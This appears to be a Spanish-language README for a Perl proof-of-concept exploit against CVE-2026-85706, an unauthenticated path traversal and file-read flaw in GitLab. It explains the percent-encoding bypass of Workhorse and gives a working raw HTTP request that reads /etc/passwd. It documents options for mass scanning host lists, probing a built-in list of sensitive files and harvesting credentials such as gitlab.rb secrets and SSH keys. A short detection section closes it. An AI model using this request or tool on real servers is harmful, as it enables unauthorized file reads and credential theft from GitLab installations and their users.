PoC en Perl que explota CVE-2026-85706, un path traversal no autenticado en GitLab que permite la lectura arbitraria de archivos, con escaneo masivo y recolección de credenciales.
Solo para pruebas de penetración autorizadas y operaciones de Red Team.
El uso no autorizado constituye un delito penal. Consulte Aviso Legal.
CVE-2026-85706 es una vulnerabilidad de path traversal con CVSS 10.0 en GitLab Community y Enterprise Editions que permite a un atacante completamente no autenticado leer archivos arbitrarios del sistema de archivos del servidor con una sola solicitud HTTP. No se requieren credenciales, ni token, ni interacción del usuario.
| Rama | Rango Vulnerable | Corregida En |
|---|---|---|
| 18.x | 18.7 → 19.1.7 | 19.1.8 |
| 19.2 | 19.2.0 → 19.2.5 | 19.2.6 |
| 19.3 | 19.3.0 → 19.3.1 | 19.3.2 |
La pila HTTP de GitLab tiene tres capas:
Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]
Workhorse actúa como un proxy inverso inteligente: para ciertos endpoints de "subida" (commits de repositorio, operaciones de archivos), lee los cuerpos de solicitud multipart, guarda los datos del archivo en disco y reescribe la solicitud antes de reenviarla a Puma. De manera crucial, adjunta un encabezado JWT (Gitlab-Workhorse-Api-Request) a cada solicitud que proxifica. Rails luego valida este JWT (mediante require_gitlab_workhorse!) antes de ejecutar cualquier lógica del manejador.
Capa 1 — Coincidencia de rutas de Workhorse:
Workhorse hace coincidir las rutas de solicitud usando una expresión regular compilada que opera sobre la cadena de bytes sin procesar, codificada en porcentaje. NO decodifica las secuencias %XX antes de hacer la coincidencia.
Capa 2 — Enrutamiento de Puma/Rack:
Puma decodifica las secuencias %XX antes de que Grape enrute la solicitud. Así, una solicitud a /repository/%63ommits se decodifica a /repository/commits y se enruta a CommitsController.
Capa 3 — Lectura de archivo pre-autenticación:
Una vez en el manejador de Rails (al que se llega sin el JWT de Workhorse porque Workhorse nunca hizo coincidir la solicitud), el manejador lee params[:file][:path] de la cadena de consulta y llama a:
File.open(params[:file][:path]) # ← ocurre ANTES de la autenticación
Al codificar en porcentaje un carácter en un segmento de ruta estático, la solicitud del atacante pasa desapercibida ante Workhorse:
| Segmento | Original | Forma de Omisión | Carácter Codificado |
|---|---|---|---|
commits | commits | %63ommits | c → %63 |
commits | commits | %43ommits | C → %43 |
repository | repository | %72epository | r → %72 |
files | files | %66iles | f → %66 |
| (cualquiera) | commits | commits/ | barra final |
| (cualquiera) | commits | commits.json | sufijo de Grape |
Después de abrir el archivo, el contenido se exfiltra mediante el analizador de cadena de consulta de Rack:
Rack::Utils.parse_nested_query(File.read(path))
Si el archivo contiene un % no seguido de dos dígitos hexadecimales válidos (lo cual es común en archivos de configuración de Ruby, YAML de CI, registros, etc.), Rack lanza:
InvalidParameterError: Invalid parameter: invalid %-encoding (<FILE_BYTES>)
Este cuerpo de respuesta 400 contiene el contenido sin procesar del archivo hasta e incluyendo el byte problemático — revelando el contenido del archivo al solicitante no autenticado.
Los archivos sin secuencias % explotables (por ejemplo, /etc/passwd limpio) devuelven un 401 o un error de validación de parámetros después de la lectura: esto actúa como un oráculo de existencia de archivos (la lectura aún ocurrió antes de la autenticación).
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
Host: gitlab.corp.com
User-Agent: cve-2026-85706-perl-poc/1.0.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
| Módulo | Paquete | Rol |
|---|---|---|
LWP::UserAgent | libwww-perl | Cliente HTTP (obligatorio) |
LWP::Protocol::https | libwww-perl | Soporte HTTPS (obligatorio) |
URI::Escape | liburi-perl | Codificación de cadena de consulta (obligatorio) |
Term::ANSIColor | libterm-ansicolor-perl | Salida con colores (opcional) |
JSON | libjson-perl | Modo de salida JSON (opcional) |
# Debian/Ubuntu
apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl
# RHEL/Fedora
sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON
# CPAN
cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON
# Make executable
chmod +x exploit.pl
Usage: exploit.pl [OPTIONS]
Target:
-u, --url <URL> GitLab base URL [default: http://localhost:8080]
-p, --project-id <ID> Numeric ID or namespace%2Fproject [default: 1]
Commits API forms: project must be anonymously accessible
Files API forms: any value works (file read precedes auth)
Exploitability check:
-c, --check Single-target check (quick by default — ≤9 requests)
--full Upgrade to full 4-stage sweep (27+ probes, all 22 forms)
-L, --check-host-list <FILE> Check multiple targets (one URL/host per line)
Add --full for the 4-stage sweep on every host
Single-file read:
-f, --file <PATH> Absolute server path to read (e.g. /etc/passwd)
Scan mode (T1083 — File and Directory Discovery):
-s, --scan Probe built-in sensitive-file wordlist (38 paths)
-w, --wordlist <FILE> Use a custom file list (one absolute path per line)
-H, --harvest Extract credentials from leaked content (T1552.001)
Output:
-o, --output <FILE> Tee all output to file
-j, --json Emit results as JSON array (requires JSON.pm)
-v, --verbose Print full request URL before each probe
--no-color Disable ANSI colour output
Connection:
-t, --timeout <N> Per-request timeout in seconds [default: 15]
-d, --delay <N> Delay between requests in seconds (float) [default: 0]
-r, --retries <N> Retry count on connection error [default: 2]
-A, --user-agent <STR> Override User-Agent string
| Rápida (predeterminada) | Completa (--full) | |
|---|---|---|
| Solicitudes | ≤9 (1 preflight + ≤4×2) | 27+ |
| Salida temprana | Sí — se detiene en el primer diferencial confirmado | No — recorre las 22 formas |
| Información de versión | No | Sí |
| Formas de omisión | 4 representativas de Files API | Las 22 (Commits + Files API) |
| Ideal para | Reconocimiento rápido, listas grandes de hosts | Informes de pentest, preparación de --file/--scan |
Pipeline de verificación rápida:
GET /api/v4/version — alcanzabilidad + indicio de GitLab/etc/hostname + canario únicocanary → 'local file not present' ∧ hostname ≠ canary → VULNERABLE (salir inmediatamente)Pipeline de verificación completa (--full):
--project-id y modos de verificaciónLa opción --project-id es utilizable en todos los modos, incluidos --check y --check-host-list. Entendiendo la interacción:
| Grupo de omisión | Formas | Dependencia del ID de proyecto |
|---|---|---|
Files API (%66iles, %46iles, re%70ository/files, …) | 14 | Ninguna — la lectura de archivo precede a la verificación de proyecto por diseño del CVE. Cualquier ID (incluso inexistente) produce la señal correcta. |
Commits API (%63ommits, %43ommits, repository/commits/, …) | 8 | Requerida — el proyecto debe existir y ser legible anónimamente. Devuelve project-gate si no. |
Guía práctica:
--check (rápida): usa solo formas de Files API → el ID de proyecto es irrelevante.--check --full: prueba las 22 formas. Si conoce un ID de proyecto público, pase --project-id <N> para confirmar también las formas de Commits API.--check-host-list: un único --project-id rara vez corresponde a un proyecto público en todos los hosts. Omítalo.# Quick check — ≤9 requests, binary verdict
./exploit.pl -u https://gitlab.corp.com --check
# Quick check with known public project (extends Commits API coverage in --full mode)
./exploit.pl -u https://gitlab.corp.com --check --project-id 5 # (default: --project-id 1)
# Full 4-stage check — version + all 22 bypass forms enumerated
./exploit.pl -u https://gitlab.corp.com --check --full
# Quick scan of a host list (≤9 probes per host)
./exploit.pl --check-host-list targets.txt
# Full scan of a host list (version info in summary table)
./exploit.pl --check-host-list targets.txt --full
# Host list, JSON output for pipeline integration
./exploit.pl --check-host-list targets.txt --json --output results.json
# Host list with 2-second inter-host delay and saved report
./exploit.pl --check-host-list targets.txt --delay 2 --output report.txt
# Read a single file
./exploit.pl -u https://gitlab.corp.com -f /etc/passwd
# Read GitLab master config and extract credentials
./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb --harvest
# Full discovery scan with credential harvesting, log to file
./exploit.pl -u https://gitlab.corp.com --scan --harvest -o pentest-results.txt
# Custom wordlist, JSON output, 1-second delay between requests
./exploit.pl -u https://gitlab.corp.com -w paths.txt --harvest --delay 1 --json
# Verbose single-file read (shows full request URLs)
./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb -v
| Veredicto | Significado |
|---|---|
leak | Contenido del archivo reflejado en el cuerpo de la respuesta mediante error de análisis de Rack |
leak-fragment | Eco parcial del contenido mediante fragmento del nombre del parámetro |
read-noecho | HTTP 401 en la ruta de omisión — ambiguo: o la lectura del archivo ocurrió antes de la autenticación (vulnerable, contenido limpio sin secuencia % incorrecta), o la autenticación se activa antes de la lectura (servidor parcheado). Use --check para confirmar mediante diferencial |
missing | La ruta de omisión funcionó; se alcanzó el manejador; el archivo no está presente o no es legible |
rewrite | Workhorse interceptó esta forma de ruta — la omisión falló |
project-gate | Commits API rechazó el proyecto; pruebe las formas de Files API |
noroute | Rails no enrutó esta variante de ruta |
| Característica | PoC en Python | Este PoC en Perl |
|---|---|---|
| Variantes de ruta de omisión | 6 | 15 |
| Escaneo masivo de archivos (T1083) | ✗ | ✓ Lista de palabras integrada de 38 rutas |
| Recolección de credenciales (T1552.001) | ✗ | ✓ 22 patrones de credenciales |
| Salida JSON | ✗ | ✓ --json |
| Salida a archivo / tee | ✗ | ✓ --output |
| Mensajes de oráculo de existencia de archivos | Básicos | Explícitos, con código de colores |
| Lógica de reintentos | ✗ | ✓ --retries configurable |
| Retardo por solicitud | ✗ | ✓ --delay (segundos flotantes) |
| User-Agent personalizado | ✗ | ✓ --user-agent |
| IDs de namespace/proyecto | ✗ | ✓ Codifica automáticamente / → %2F |
| Modo verboso | ✗ | ✓ --verbose |
secret_key_base y otp_key_base en gitlab.rb/home/git/.ssh/, /root/.ssh/)Busque solicitudes POST o PUT a rutas /api/v4/projects/*/repository/ que contengan:
%63, %43, %72, %70, %66, %46, etc.)file.path.json en los endpoints commits o filesEsta herramienta se proporciona estrictamente para:
El uso no autorizado contra sistemas que no posee o para los que carece de autorización explícita por escrito para probar es ilegal en prácticamente todas las jurisdicciones y puede resultar en procesamiento penal bajo las leyes de uso indebido de computadoras (CFAA, Computer Misuse Act, etc.).
El autor y los contribuyentes de esta herramienta no asumen ninguna responsabilidad por cualquier uso indebido o daño causado por este software.